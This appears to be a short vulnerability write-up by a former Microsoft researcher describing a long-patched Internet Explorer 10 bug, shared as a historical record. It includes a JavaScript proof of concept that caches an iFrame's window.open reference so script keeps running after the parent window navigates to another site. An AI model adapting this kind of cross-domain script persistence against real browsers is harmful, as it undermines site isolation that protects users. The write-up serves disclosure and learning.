IE10 Resident Script via Cached iFrame window.open

By saving a reference to the window.open method of an iFrame before destroying it through navigation, the cached reference stays valid and can be used to load pages into the destroyed iFrame’s scope even after the parent window has moved to a completely different site.

var win, iFrame_open;

function main() {
    win = window.open("empty-iframe.html"); // Open any same-domain URL.

    setTimeout('iFrame_open = win[0].open; win.location = "http://www.bing.com";', 1000);

    setTimeout('iFrame_open("resident-alert.html","_top")', 2000);
}

The IE8 document mode emulation (X-UA-Compatible: IE=EmulateIE8) is required for the cached method reference to survive the navigation. After win moves to Bing and the iFrame is effectively gone, iFrame_open("resident-alert.html","_top") still loads the page — demonstrating a persistent script execution primitive that survives cross-domain navigation. Tested on IE10 Desktop Win8 Fully Patched.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.